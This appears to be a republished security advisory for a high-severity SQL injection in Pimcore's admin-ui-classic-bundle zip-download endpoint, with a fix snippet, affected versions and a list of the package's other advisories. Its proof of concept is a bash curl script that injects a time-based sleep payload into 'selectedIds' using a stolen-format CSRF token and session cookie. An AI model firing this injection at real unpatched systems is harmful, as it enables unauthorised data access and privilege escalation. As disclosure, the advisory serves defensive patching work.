High

SQL Injection in Admin download files as zip

Disclosed: 24.01.2024
Updated: 11.10.2026 10:22

Summary

The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.

Details

downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added:

php

  foreach ($selectedIds as $selectedId) {
      if ($selectedId) {
          $quotedSelectedIds[] = $db->quote($selectedId);
      }
  }

PoC

Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)
Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie.
Run the following script, substituting the values accordingly:

bash

#!/bin/bash
BASE_URL=http://localhost # REPLACE THIS!
CSRF_TOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS!
COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS!
SQL="(select*from(select(sleep(6)))a)"

curl "${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \
    -X GET \
    -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
    -H "Cookie: ${COOKIE}" `

The response is delayed by 6 seconds.

Impact

Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
Composer package	pimcore/admin-ui-classic-bundle	>= 1.0.0, < 1.3.2	1.3.2

References

CVSS score 8.8/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE): CWE-89
Platform: Composer
Package: pimcore/admin-ui-classic-bundle
Disclosed: 24.01.2024
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-cwx6-4wmf-c6xv - CC BY 4.0

Vulnerability history: pimcore/admin-ui-classic-bundle

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (17) in the archive

Total entries: 17
First → latest: 07.2023 05.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 6
Medium 10
Low 1

Disclosures per year

2023: 6
2024: 7
2025: 2
2026: 2

27.05.2026

Pimcore Admin Classic Bundle Vulnerable to SQL Injection in Translation Grid Date Filter via Unsanitized Property Parameter

High · 8.8 CVE-2026-44741 >= 2.0.0-RC1, < 2.3.6, < 1.7.18 2.3.6, 1.7.18
03.09.2024

Pimcore includes vulnerable PHPOffice/PhpSpreadsheet

High · 8.8 ghsa-hq76-662x-7mw4 < 1.3.11, >= 1.4.0, < 1.4.7, >= 1.5.0, < 1.5.4 1.3.11, 1.4.7, 1.5.4
20.02.2024

Pimcore Host Header Injection in user invitation link

High · 8.1 CVE-2024-25625 < 1.3.4 1.3.4
24.01.2024

Host header injection in the password reset

High · 8.8 CVE-2024-23648 < 1.2.3 1.2.3
24.01.2024

SQL Injection in Admin download files as zip this entry

High · 8.8 CVE-2024-23646 >= 1.0.0, < 1.3.2 1.3.2
27.11.2023

Pimcore Admin UI has Two Factor Authentication disabled for non admin security firewalls

High · 8.4 CVE-2023-49075 < 1.2.2 1.2.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application